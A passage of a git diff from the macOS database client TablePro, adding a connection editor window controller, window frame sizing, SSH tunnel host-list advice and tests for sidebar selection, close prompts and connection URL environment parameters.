}, + save: { relay.controller?.save() }, + commit: { relay.controller?.commit() }, + cancel: { relay.controller?.requestClose() }, + copyURL: { relay.controller?.copyURL() }, + delete: { relay.controller?.confirmDelete() } + ), + onCloseMissingRecord: { relay.controller?.requestClose() } + ) + self.content = content + + let window = NSWindow(contentViewController: content) + let toolbarController = ConnectionEditorToolbar(splitView: content.split.splitView) + self.toolbarController = toolbarController + window.identifier = NSUserInterfaceItemIdentifier(WindowIdentifier.connectionForm) + window.styleMask = [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView] + window.isReleasedWhenClosed = false + window.keepsKeyViewLoopCurrent() + window.isRestorable = false + window.tabbingMode = .disallowed + window.collectionBehavior.insert([.fullScreenNone, .fullScreenDisallowsTiling]) + window.titleVisibility = .visible + window.toolbarStyle = .unified + window.toolbar = toolbarController.makeToolbar() + window.standardWindowButton(.zoomButton)?.isEnabled = false + ConnectionEditorWindowFrame.apply(to: window, autosaveName: frameAutosaveName) + + super.init(window: window) + relay.controller = self + window.delegate = self + store.window = window + store.dismissAction = { [weak self] in self?.close() } + storeObservation = store.onMainActorChange { [weak self] in + self?.syncChrome() + } + syncChrome() + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorWindowController does not support NSCoder init") + } + + func open(on facet: ConnectionEditorFacetChoice?) { + guard window?.attachedSheet == nil else { return } + Self.select(facet, in: store) + syncChrome() + } + + private static func select(_ facet: ConnectionEditorFacetChoice?, in store: ConnectionEditorStore) { + guard let facet, !store.isRecordMissing else { return } + switch facet { + case .named(let facet): + guard store.layout.facetIDs.contains(facet) else { return } + store.selectedFacet = facet + case .firstIssue: + guard let issue = store.firstBlockingIssue else { return } + store.focus(on: issue) + } + } + + func showAndActivate() { + if window?.isMiniaturized == true { + window?.deminiaturize(nil) + } + showWindow(nil) + window?.makeKeyAndOrderFront(nil) + AppActivationPolicyController.shared.activate() + } + + private func cascade(from others: [NSWindow]) { + guard let window, let anchor = others.last(where: { $0.isVisible }) else { return } + var frame = window.frame + frame.origin = NSPoint( + x: anchor.frame.minX + Self.cascadeOffset, + y: anchor.frame.maxY - Self.cascadeOffset - frame.height + ) + window.setFrame(window.constrainFrameRect(frame, to: anchor.screen), display: false) + } + + // The one place store state reaches the window: title, subtitle, edited dot, sidebar and detail. + func syncChrome() { + let title = store.windowTitle + if content.title != title { + content.title = title + } + if let window { + let subtitle = store.windowSubtitle + if window.subtitle != subtitle { + window.subtitle = subtitle + } + let isEdited = store.hasUnsavedChanges && !store.isRecordMissing + if window.isDocumentEdited != isEdited { + window.isDocumentEdited = isEdited + } + } + content.split.sync() + } + + // MARK: - Commands + + // Commits a field still being edited, so a half-typed value is what Save, Test or the close check see. + private func endEditing() -> Bool { + guard let window else { return true } + return window.makeFirstResponder(nil) + } + + func runTest() { + guard endEditing() else { return } + if store.isTesting { + store.cancelTest() + } else { + store.test() + } + } + + func save() { + guard endEditing() else { return } + store.save(connect: false) + } + + // Save & Connect for a new connection, Save for an edited one; success closes the window. + func commit() { + guard endEditing() else { return } + store.commit() + } + + func copyURL() { + _ = endEditing() + ClipboardService.shared.writeText(store.connectionURLForCopy()) + } + + func confirmDelete() { + guard store.canDelete else { return } + Task { [weak self] in + guard let self else { return } + let confirmation = await store.deleteConfirmation() + let confirmed = await AlertHelper.confirmDestructive( + title: confirmation.title, + message: confirmation.message, + confirmButton: String(localized: "Delete"), + window: window + ) + guard confirmed else { return } + store.delete() + } + } + + // MARK: - Closing + + var closeVerdict: ConnectionEditorCloseGuard.Verdict { + ConnectionEditorCloseGuard.verdict( + hasUnsavedChanges: store.hasUnsavedChanges, + isRecordMissing: store.isRecordMissing, + connectionName: store.windowTitle + ) + } + + // Cancel and Escape: the same question the close button asks. + func requestClose() { + guard window?.attachedSheet == nil, endEditing() else { return } + switch closeVerdict { + case .close: + close() + case .askToSave(let prompt): + askToSave(prompt) + } + } + + func resolveClose(_ choice: ConnectionEditorCloseGuard.Choice) { + switch choice { + case .save: + // Closes through dismissAction only when the save lands; a failure keeps the window and says why. + commit() + case .dontSave: + close() + case .cancel: + break + } + } + + private func askToSave(_ prompt: ConnectionEditorSavePrompt) { + guard let window, window.attachedSheet == nil else { return } + AlertHelper.present(ConnectionEditorCloseGuard.makeAlert(prompt), in: window) { [weak self] response in + self?.resolveClose(ConnectionEditorCloseGuard.choice(for: response)) + } + } + + func windowShouldClose(_ sender: NSWindow) -> Bool { + _ = endEditing() + switch closeVerdict { + case .close: + return true + case .askToSave(let prompt): + askToSave(prompt) + return false + } + } + + func windowWillClose(_ notification: Notification) { + if let window { + ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) + } + storeObservation = nil + store.teardown() + Self.controllers = Self.controllers.filter { $0.value !== self } + } + + func windowDidEndLiveResize(_ notification: Notification) { + guard let window else { return } + ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) + } + + func windowDidMove(_ notification: Notification) { + guard let window, window.isVisible else { return } + ConnectionEditorWindowFrame.save(window, autosaveName: frameAutosaveName) + } + + // File > Save, Cmd+S: saves without connecting, also for a new connection. + @objc func saveDocument(_ sender: Any?) { + save() + } +} + +extension ConnectionEditorWindowController: NSMenuItemValidation { + func validateMenuItem(_ menuItem: NSMenuItem) -> Bool { + switch menuItem.action { + case #selector(saveDocument(_:)): + return store.canSave && window?.attachedSheet == nil + default: + return true + } + } +} + +// The commit bar's actions are built before the controller exists, so they reach it through this. +@MainActor +private final class ControllerRelay { + weak var controller: ConnectionEditorWindowController? +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift new file mode 100644 index 0000000000..e83dcf318f --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowFrame.swift @@ -0,0 +1,67 @@ +// +// ConnectionEditorWindowFrame.swift +// TablePro +// + +import AppKit + +// The window's sizes. The content includes the toolbar band, since the window uses a full-size content view. +enum ConnectionEditorWindowFrame { + static let sidebarWidth: CGFloat = 220 + static let detailWidth: CGFloat = 560 + static let contentWidth: CGFloat = sidebarWidth + detailWidth + static let minimumContentHeight: CGFloat = 480 + static let preferredContentHeight: CGFloat = 700 + static let screenMargin: CGFloat = 80 + // A new name: "connection-form" holds 560 wide frames from the single-form editor. + static let autosaveName = "ConnectionEditorWindow" + + static var minimumContentSize: NSSize { + NSSize(width: contentWidth, height: minimumContentHeight) + } + + static func maximumContentHeight(visibleHeight: CGFloat) -> CGFloat { + max(minimumContentHeight, visibleHeight - screenMargin) + } + + static func defaultContentSize(visibleHeight: CGFloat) -> NSSize { + NSSize(width: contentWidth, height: min(preferredContentHeight, maximumContentHeight(visibleHeight: visibleHeight))) + } + + static func clampedContentSize(_ size: NSSize, visibleHeight: CGFloat) -> NSSize { + let height = min(max(size.height, minimumContentHeight), maximumContentHeight(visibleHeight: visibleHeight)) + return NSSize(width: contentWidth, height: height) + } + + // Restored by hand: AppKit lets one open window own an autosave name, and every editor window shares this one. + @MainActor + static func apply(to window: NSWindow, autosaveName: String?) { + let screen = window.screen ?? NSScreen.main + window.setContentSize(defaultContentSize(visibleHeight: screen?.visibleFrame.height ?? 800)) + + // Restored before the size limits go on: AppKit clamps a restored frame to them, which hides an older size. + let restored = autosaveName.map { window.setFrameUsingName($0) } ?? false + if restored { + let visibleHeight = (window.screen ?? screen)?.visibleFrame.height ?? 800 + let content = window.contentRect(forFrameRect: window.frame).size + let clamped = clampedContentSize(content, visibleHeight: visibleHeight) + if clamped != content { + let top = window.frame.maxY + var frame = window.frameRect(forContentRect: NSRect(origin: window.frame.origin, size: clamped)) + frame.origin.y = top - frame.height + window.setFrame(frame, display: false) + } + window.setFrame(window.constrainFrameRect(window.frame, to: window.screen), display: false) + } else { + window.center() + } + window.contentMinSize = minimumContentSize + window.contentMaxSize = NSSize(width: contentWidth, height: .greatestFiniteMagnitude) + } + + @MainActor + static func save(_ window: NSWindow, autosaveName: String?) { + guard let autosaveName else { return } + window.saveFrame(usingName: autosaveName) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift new file mode 100644 index 0000000000..a729633dbc --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift @@ -0,0 +1,39 @@ +import Foundation +import TableProPluginKit + +extension ConnectionEditorStore { + // Startup commands run in the driver's own query language, so SQL copy and highlighting fit only an SQL engine. + var startupCommandsAreSQL: Bool { + services.pluginManager.editorLanguage(for: draft.type) == .sql + } + + // Nil until this connection is open as the type the form shows. + var liveDriverRunsReadOnly: Bool? { + guard let driver = services.databaseManager.driver(for: connectionId), driver.connection.type == draft.type else { + return nil + } + return driver.runsReadOnlyStatements + } + + var externalClientsReadOnlyNote: String? { + guard draft.ai.externalAccess == .readOnly else { return nil } + return ReadOnlyEnforcement.externalClientsNote(for: draft.type, liveDriverRunsReadOnly: liveDriverRunsReadOnly) + } +} + +enum QueryTimeoutInheritance { + static func subtitle(globalSeconds: Int, locale: Locale = .autoupdatingCurrent) -> String { + let seconds = inheritedSeconds(globalSeconds: globalSeconds) + guard seconds > 0 else { + return String(localized: "Leave blank to use Settings > Connections: no limit.") + } + let duration = Duration.seconds(seconds).formatted( + .units(allowed: [.hours, .minutes, .seconds], width: .wide).locale(locale) + ) + return String(format: String(localized: "Leave blank to use Settings > Connections: %@."), duration) + } + + static func inheritedSeconds(globalSeconds: Int) -> Int { + ConnectionTimeoutPolicy.effectiveQueryTimeoutSeconds(configuredSeconds: nil, globalSeconds: globalSeconds) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift new file mode 100644 index 0000000000..64821798e7 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift @@ -0,0 +1,44 @@ +// +// ConnectionEditorStore+SSHAndProxies.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +extension ConnectionEditorStore { + // An SSH tunnel forwards one endpoint, so a host list in General reaches its first host only. + var tunnelHostListAdvice: String? { + guard draft.transport == .ssh, + let field = ConnectionEditorEngine.visibleHostListFields(draft, traits).first else { return nil } + let hosts = draft.fieldValues[field.id] ?? field.defaultValue ?? "" + return TunnelHostListAdvice.message(fieldId: field.id, hosts: hosts) + } +} + +// Ported from the old Network pane with its wording; the ids are the plugins' host list fields. +enum TunnelHostListAdvice { + static func message(fieldId: String, hosts: String) -> String? { + switch fieldId { + case "redisSentinelHosts": + return String( + localized: "Sentinel mode cannot run through a tunnel. Set Connection Mode to Standalone and enter a data node, or turn the tunnel off." + ) + case "redisClusterHosts": + return String( + localized: "TablePro connects to the first node over a tunnel, as a single server. Keys on other nodes cannot be reached." + ) + default: + break + } + guard hosts.contains(",") else { return nil } + switch fieldId { + case "mongoHosts": + return String(localized: "TablePro connects to the first host over a tunnel. Replica set failover is not available.") + case "kafkaBootstrapServers": + return String(localized: "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read.") + default: + return String(localized: "TablePro connects to the first host over a tunnel. The other hosts are not used.") + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift index a2010ea819..9e54411f74 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -202,7 +202,7 @@ extension ConnectionEditorStore { } endRun(context, testId: testId, state: .succeeded(ConnectionTestSuccess( typeName: context.typeName, - serverVersion: nil, + serverVersion: result.serverVersion, elapsedMilliseconds: milliseconds, warning: result.warning ))) diff --git a/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift b/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift index 90b170d02f..d4107417ac 100644 --- a/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift +++ b/apple/TablePro/Views/Toolbar/ConnectionSwitcherPopover.swift @@ -358,9 +358,12 @@ struct ConnectionSwitcherPopover: View { ) VStack(alignment: .leading, spacing: 1) { - Text(connection.name) - .font(.body.weight(entry.isActive ? .semibold : .regular)) - .lineLimit(1) + HStack(spacing: 6) { + Text(connection.name) + .font(.body.weight(entry.isActive ? .semibold : .regular)) + .lineLimit(1) + ConnectionEnvironmentLabel(environment: ConnectionEnvironment.stored(in: connection.additionalFields)) + } HStack(spacing: 6) { Text(connection.connectionSubtitle) diff --git a/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift b/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift index 4df579f945..2c78109bf9 100644 --- a/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift +++ b/apple/TableProTests/Core/Services/Infrastructure/WindowOpenerTests.swift @@ -17,7 +17,7 @@ final class WindowOpenerTests: XCTestCase { openedRequests = [] openedSettingsPanes = [] WindowOpener.shared.setWelcomePresenter {} - WindowOpener.shared.setConnectionFormPresenter { [weak self] request in + WindowOpener.shared.setConnectionFormPresenter { [weak self] request, _ in self?.openedRequests.append(request) } WindowOpener.shared.setIntegrationsActivityPresenter {} @@ -138,7 +138,7 @@ final class WindowOpenerTests: XCTestCase { opener.openConnectionForm(editing: connectionId) XCTAssertTrue(opened.isEmpty, "No presenter yet, so the call has to wait") - opener.setConnectionFormPresenter { opened.append($0) } + opener.setConnectionFormPresenter { request, _ in opened.append(request) } XCTAssertEqual(opened, [.edit(connectionId: connectionId)]) } @@ -154,7 +154,7 @@ final class WindowOpenerTests: XCTestCase { opener.setWelcomePresenter {} XCTAssertTrue(opened.isEmpty, "The connection form still has no presenter") - opener.setConnectionFormPresenter { opened.append($0) } + opener.setConnectionFormPresenter { request, _ in opened.append(request) } XCTAssertEqual(opened, [.edit(connectionId: connectionId)]) } diff --git a/apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift b/apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift new file mode 100644 index 0000000000..190682ee4a --- /dev/null +++ b/apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift @@ -0,0 +1,62 @@ +// +// ConnectionURLEnvironmentTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionURLEnvironmentTests { + private func connection(environment: ConnectionEnvironment?) -> DatabaseConnection { + var connection = DatabaseConnection( + name: "", host: "db.example.com", port: 5_432, database: "orders", + username: "app", type: .postgresql, sslConfig: SSLConfiguration(mode: DatabaseType.postgresql.defaultSSLMode) + ) + connection.tagIds = [UUID()] + if let environment { + connection.additionalFields[ConnectionEnvironment.fieldKey] = environment.rawValue + } + return connection + } + + private func parse(_ urlString: String) throws -> ParsedConnectionURL { + guard case .success(let parsed) = ConnectionURLParser.parse(urlString) else { + throw ConnectionURLParseError.invalidURL + } + return parsed + } + + @Test("Copy as URL names the connection's Environment, not its first tag") + func formatterWritesTheEnvironment() throws { + let url = ConnectionURLFormatter.format(connection(environment: .staging), password: nil, sshPassword: nil) + + #expect(url == "postgresql://app@db.example.com/orders?env=staging") + #expect(try parse(url).environment == .staging) + } + + @Test("A connection with no Environment writes no env parameter, whatever its tags") + func formatterSkipsNoEnvironment() { + let url = ConnectionURLFormatter.format(connection(environment: nil), password: nil, sshPassword: nil) + + #expect(!url.contains("env=")) + } + + @Test("An env parameter in a link sets the Environment and adds no tag") + func linkSetsTheEnvironment() throws { + let opened = TransientConnectionFactory.build(from: try parse("postgresql://db.example.com/orders?env=prod")) + + #expect(ConnectionEnvironment.stored(in: opened.additionalFields) == .production) + #expect(opened.tagIds.isEmpty) + } + + @Test("An env name that is no Environment leaves it unset") + func linkIgnoresAnUnknownEnvironment() throws { + let opened = TransientConnectionFactory.build(from: try parse("postgresql://db.example.com/orders?env=qa")) + + #expect(ConnectionEnvironment.stored(in: opened.additionalFields) == .none) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift index 00668abad0..e600ac66c1 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift @@ -71,14 +71,15 @@ struct ConnectionEditorEngineFacetTests { #expect(!layout.contains(.builtIn(.password))) } - @Test("AI rows follow the AI setting, Local only follows Sync") + @Test("AI Policy is always shown, AI rules follow the AI setting, Local only follows Sync") func contextDrivenSections() { let mysql = traits(.mysql) let draft = ConnectionDraft.new(type: .mysql, traits: mysql) var context = EditorContext() var layout = ConnectionEditorEngine.layout(draft, mysql, context) #expect(layout.contains(.builtIn(.externalAccess))) - #expect(!layout.contains(.builtIn(.aiPolicy))) + #expect(layout.contains(.builtIn(.aiPolicy))) + #expect(!layout.contains(.builtIn(.aiRules))) #expect(!layout.contains(.builtIn(.localOnly))) context.aiEnabled = true context.syncEnabled = true diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift new file mode 100644 index 0000000000..4ed1ccd5c9 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift @@ -0,0 +1,358 @@ +// +// ConnectionEditorWindowTests.swift +// TableProTests +// + +import AppKit +import Foundation +import TableProPluginKit +import TableProTestSupport +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorWindowTests { + private func postgres(name: String = "Orders") -> DatabaseConnection { + DatabaseConnection( + name: name, + host: "db.example.com", + port: 5_432, + database: "orders", + username: "app", + type: .postgresql + ) + } + + private func makeController( + _ fixture: ConnectionEditorStoreFixture, + _ request: ConnectionEditorStore.Request, + facet: ConnectionEditorFacetChoice? = nil + ) -> ConnectionEditorWindowController { + ConnectionEditorWindowController(store: fixture.makeStore(request), facet: facet, frameAutosaveName: nil) + } + + private func row(of facet: ConnectionFacet, in controller: ConnectionEditorWindowController) -> Int? { + controller.sidebar.rows.firstIndex { $0.facet == facet } + } + + // A SOCKS proxy with no host is an issue on SSH & Proxies, away from General. + private func raiseProxyIssue(_ store: ConnectionEditorStore) throws -> FieldIssue { + try #require(store.availableTransports.contains(.socksProxy)) + store.selectTransport(.socksProxy) + return try #require(store.issues(for: .sshAndProxies).first { $0.blocksSave }) + } + + // MARK: - Sidebar + + @Test("The sidebar lists the layout's facets and nothing else") + func sidebarListsLayoutFacets() throws { + let fixture = try ConnectionEditorStoreFixture() + let postgres = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + let sqlite = makeController(fixture, .new(type: .sqlite, parsedURL: nil)) + defer { + postgres.close() + sqlite.close() + } + + for controller in [postgres, sqlite] { + let layout = controller.store.layout + let facets = controller.sidebar.rows.map { $0.facet } + let titles = controller.sidebar.rows.map { $0.title } + #expect(facets == layout.facetIDs) + #expect(titles == layout.facets.map { $0.title }) + #expect(controller.sidebar.tableView.numberOfRows == layout.facets.count) + } + #expect(postgres.sidebar.rows.contains { $0.facet == .sslTLS }) + #expect(!sqlite.sidebar.rows.contains { $0.facet == .sslTLS }) + } + + @Test("The sidebar follows the store's selection, and a pick in the sidebar writes it back") + func sidebarSelectionIsTwoWay() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + defer { controller.close() } + let appearance = try #require(row(of: .appearance, in: controller)) + let safeMode = try #require(row(of: .safeMode, in: controller)) + + #expect(controller.sidebar.tableView.selectedRow == row(of: .general, in: controller)) + + controller.store.selectedFacet = .appearance + try await waitUntil { controller.sidebar.tableView.selectedRow == appearance } + #expect(controller.detail.shownContent == .facet(.appearance)) + + controller.sidebar.tableView.selectRowIndexes(IndexSet(integer: safeMode), byExtendingSelection: false) + #expect(controller.store.selectedFacet == .safeMode) + #expect(controller.detail.shownContent == .facet(.safeMode)) + #expect(controller.detail.visitedFacets == [.general, .appearance, .safeMode]) + } + + @Test("focus(on:) selects the issue's facet without giving the sidebar the keyboard") + func focusSelectsTheIssueFacet() async throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + defer { controller.close() } + let issue = try raiseProxyIssue(controller.store) + let proxies = try #require(row(of: .sshAndProxies, in: controller)) + + controller.store.focus(on: issue) + + try await waitUntil { controller.sidebar.tableView.selectedRow == proxies } + #expect(controller.detail.shownContent == .facet(.sshAndProxies)) + #expect(controller.window?.firstResponder !== controller.sidebar.tableView) + } + + @Test("The issue mark shows while a facet has an error and goes when it is fixed") + func issueMarkAppearsAndClears() async throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + defer { controller.close() } + #expect(!controller.sidebar.rows.contains { $0.hasIssues }) + + let issue = try raiseProxyIssue(controller.store) + try await waitUntil { + controller.sidebar.rows.first { $0.facet == .sshAndProxies }?.hasIssues == true + } + let marked = try #require(controller.sidebar.cell(for: .sshAndProxies)) + #expect(!marked.issueMark.isHidden) + #expect(marked.toolTip?.contains(issue.message) == true) + #expect(marked.accessibilityLabel() == String( + format: String(localized: "%1$@, %2$@"), ConnectionFacet.sshAndProxies.title, issue.message + )) + + controller.store.update { $0.socksProxy.host = "proxy.example.com" } + try await waitUntil { + controller.sidebar.rows.first { $0.facet == .sshAndProxies }?.hasIssues == false + } + let cleared = try #require(controller.sidebar.cell(for: .sshAndProxies)) + #expect(cleared.issueMark.isHidden) + #expect(cleared.toolTip == nil) + } + + @Test("The issue mark turns white on the emphasized selection") + func issueMarkFollowsEmphasis() throws { + let cell = ConnectionEditorSidebarCell(identifier: NSUserInterfaceItemIdentifier("cell")) + cell.backgroundStyle = .normal + #expect(cell.issueMark.contentTintColor == .systemRed) + cell.backgroundStyle = .emphasized + #expect(cell.issueMark.contentTintColor == .alternateSelectedControlTextColor) + } + + // MARK: - Opening on a facet + + @Test("A caller's facet opens the window there; one the type lacks leaves it on General") + func opensOnTheNamedFacet() throws { + let fixture = try ConnectionEditorStoreFixture() + let appearance = makeController(fixture, .new(type: .postgresql, parsedURL: nil), facet: .named(.appearance)) + let sqlite = makeController(fixture, .new(type: .sqlite, parsedURL: nil), facet: .named(.sslTLS)) + defer { + appearance.close() + sqlite.close() + } + + #expect(appearance.store.selectedFacet == .appearance) + #expect(appearance.detail.shownContent == .facet(.appearance)) + #expect(sqlite.store.selectedFacet == .general) + } + + @Test("A recovery opens on the facet of the first issue that blocks Save") + func recoveryOpensOnTheFirstIssue() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + defer { controller.close() } + let issue = try raiseProxyIssue(controller.store) + controller.store.selectedFacet = .general + + controller.open(on: .firstIssue) + + #expect(controller.store.selectedFacet == .sshAndProxies) + #expect(controller.store.focusRequest?.row == issue.row) + #expect(controller.sidebar.tableView.selectedRow == row(of: .sshAndProxies, in: controller)) + } + + @Test("The opener hands the facet to the presenter, and a new connection asks for none") + func openerCarriesTheFacet() { + let opener = WindowOpener() + var opened: [(ConnectionFormRequest, ConnectionEditorFacetChoice?)] = [] + opener.setConnectionFormPresenter { opened.append(($0, $1)) } + let id = UUID() + + opener.openConnectionForm(editing: id, facet: .firstIssue) + opener.stageConnectionFormDraft(type: .postgresql) + opener.openStagedConnectionForm() + + #expect(opened.count == 2) + #expect(opened.first?.0 == .edit(connectionId: id)) + #expect(opened.first?.1 == .firstIssue) + #expect(opened.last?.1 == nil) + if case .create(let draftId) = opened.last?.0 { + _ = ConnectionFormDraftStore.shared.consume(draftId) + } + } + + // MARK: - Title + + @Test("The window is never blank-titled: the saved name stands in while Name is empty") + func titleIsNeverBlank() async throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let fresh = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + let edited = makeController(fixture, .edit(connectionId: connection.id)) + defer { + fresh.close() + edited.close() + } + + #expect(fresh.window?.title == String(localized: "New Connection")) + #expect(fresh.window?.subtitle == fresh.store.traits.displayName) + #expect(edited.window?.title == "Orders") + #expect(edited.window?.isDocumentEdited == false) + + edited.store.update { $0.name = "" } + try await waitUntil { edited.window?.isDocumentEdited == true } + #expect(edited.window?.title == "Orders") + + edited.store.update { $0.name = "Billing" } + try await waitUntil { edited.window?.title == "Billing" } + } + + // MARK: - Record missing + + @Test("A connection deleted elsewhere shows the empty state with no facets to pick") + func recordMissingShowsEmptyState() throws { + let fixture = try ConnectionEditorStoreFixture() + fixture.seed([postgres()]) + let controller = makeController(fixture, .edit(connectionId: UUID())) + defer { controller.close() } + + #expect(controller.sidebar.rows.isEmpty) + #expect(controller.sidebar.tableView.numberOfRows == 0) + #expect(controller.detail.shownContent == .recordMissing) + #expect(controller.window?.isDocumentEdited == false) + #expect(controller.closeVerdict == .close) + } + + // MARK: - Frame + + @Test("The width is fixed and the height defaults to 700, clamped to the screen") + func defaultFrame() { + let width = ConnectionEditorWindowFrame.contentWidth + #expect(width == 780) + #expect(ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: 1_000) == NSSize(width: width, height: 700)) + #expect(ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: 640) == NSSize(width: width, height: 560)) + #expect(ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: 500) == NSSize(width: width, height: 480)) + } + + @Test("A restored frame keeps the fixed width and a height between 480 and the screen minus 80") + func restoredFrameIsClamped() { + let width = ConnectionEditorWindowFrame.contentWidth + let clamp = ConnectionEditorWindowFrame.clampedContentSize + #expect(clamp(NSSize(width: 560, height: 1_400), 900) == NSSize(width: width, height: 820)) + #expect(clamp(NSSize(width: 900, height: 300), 900) == NSSize(width: width, height: 480)) + #expect(clamp(NSSize(width: width, height: 640), 900) == NSSize(width: width, height: 640)) + } + + @Test("The window holds the editor's width and minimum height") + func windowSizeLimits() throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + defer { controller.close() } + let window = try #require(controller.window) + let content = window.contentRect(forFrameRect: window.frame).size + + #expect(window.contentMinSize == NSSize(width: 780, height: 480)) + #expect(window.contentMaxSize.width == 780) + #expect(abs(content.width - 780) < 1) + #expect(content.height >= 480) + #expect(window.styleMask.contains(.fullSizeContentView)) + #expect(window.tabbingMode == .disallowed) + #expect(!window.isRestorable) + } + + // MARK: - Close guard + + @Test("Closing asks to save only when there is something Save could write") + func closeVerdict() { + #expect(ConnectionEditorCloseGuard.verdict(hasUnsavedChanges: false, isRecordMissing: false, connectionName: "Orders") == .close) + #expect(ConnectionEditorCloseGuard.verdict(hasUnsavedChanges: true, isRecordMissing: true, connectionName: "Orders") == .close) + let verdict = ConnectionEditorCloseGuard.verdict(hasUnsavedChanges: true, isRecordMissing: false, connectionName: "Orders") + #expect(verdict == .askToSave(ConnectionEditorSavePrompt(connectionName: "Orders"))) + #expect(ConnectionEditorSavePrompt(connectionName: "Orders").title + == String(format: String(localized: "Do you want to save the changes to “%@”?"), "Orders")) + } + + @Test("The alert's buttons map to Save, Cancel and Don't Save in that order") + func closeChoices() { + let alert = ConnectionEditorCloseGuard.makeAlert(ConnectionEditorSavePrompt(connectionName: "Orders")) + let titles = alert.buttons.map { $0.title } + #expect(titles == [ + String(localized: "Save"), String(localized: "Cancel"), String(localized: "Don't Save"), + ]) + #expect(ConnectionEditorCloseGuard.choice(for: .alertFirstButtonReturn) == .save) + #expect(ConnectionEditorCloseGuard.choice(for: .alertSecondButtonReturn) == .cancel) + #expect(ConnectionEditorCloseGuard.choice(for: .alertThirdButtonReturn) == .dontSave) + } + + @Test("Cancel on an untouched editor closes it at once") + func cancelWithoutEditsCloses() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + + #expect(controller.closeVerdict == .close) + controller.requestClose() + + #expect(controller.store.isClosing) + } + + @Test("Don't Save closes without writing; a Save that fails keeps the window; one that lands closes it") + func closeChoicesAct() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + + let discarding = makeController(fixture, .edit(connectionId: connection.id)) + discarding.store.update { $0.host = "replica.example.com" } + #expect(discarding.closeVerdict == .askToSave(ConnectionEditorSavePrompt(connectionName: "Orders"))) + discarding.resolveClose(.dontSave) + #expect(discarding.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + + let blocked = makeController(fixture, .edit(connectionId: connection.id)) + defer { blocked.close() } + blocked.store.update { $0.name = "" } + blocked.store.selectedFacet = .appearance + blocked.resolveClose(.save) + #expect(!blocked.store.isClosing) + #expect(blocked.store.selectedFacet == .general) + + let saving = makeController(fixture, .edit(connectionId: connection.id)) + saving.store.update { $0.host = "replica.example.com" } + saving.resolveClose(.save) + #expect(saving.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "replica.example.com") + } + + @Test("An invalid field is not an alert: Save already shows it in place") + func saveErrorAlerts() { + let issue = FieldIssue(facet: .general, row: .builtIn(.name), message: "Name", severity: .error) + #expect(!ConnectionEditorPresentations.alertsSaveError(nil)) + 